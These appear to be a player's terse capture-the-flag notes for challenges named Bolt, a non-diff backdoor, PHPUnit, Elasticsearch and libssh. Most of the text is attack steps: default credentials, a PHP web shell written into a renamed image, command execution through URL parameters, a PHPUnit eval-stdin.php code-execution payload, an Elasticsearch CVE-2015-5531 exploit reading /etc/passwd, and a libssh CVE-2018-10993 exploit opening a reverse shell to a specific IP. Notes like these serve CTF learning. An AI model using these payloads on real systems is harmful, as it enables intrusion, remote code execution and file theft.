**BOLT**

/bolt

[admin,password]

Echo “<?php echo system($\_GET['cmd']) ?>” >> exploit.jpeg

Rename to php

Form url: URL/files/2024-04/expolit.php?cmd=ls

To Find Flag Location: cmd=find / -name flag.txt 2>/dev/null

**Non-Diff Backdoor**

Dirsearch 🡺 backup.zip\

Unzip and grep -r “shell\_exec” > result.txt

read functions’s last lines

In URL: IP/?welldone=knockknock&shazam=ls

Page source and cat flag.php

**PHP-unit**

Dirsearch 🡺 Composer.json(5.6.2, includes dependecies), eval-stdin.php

5.6.2 expolitable with input/output stream validation (code execution)

DATA : <?php system('cat /flag.txt') ?> in /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

**Elastic**

Elastic search exploit CVE-2015-5531

Github link: <https://github.com/nixawk/labs/blob/master/CVE-2015-5531/exploit.py>

Expoit.py [URL] /etc/passwd

**Libssh**

Link for exploit <https://gist.github.com/mgeeky/a7271536b1d815acfb8060fd8b65bd5d>

Creating rev shell: python3 cve-2018-10993.py 34.89.210.219 -p 31919 -s

Shark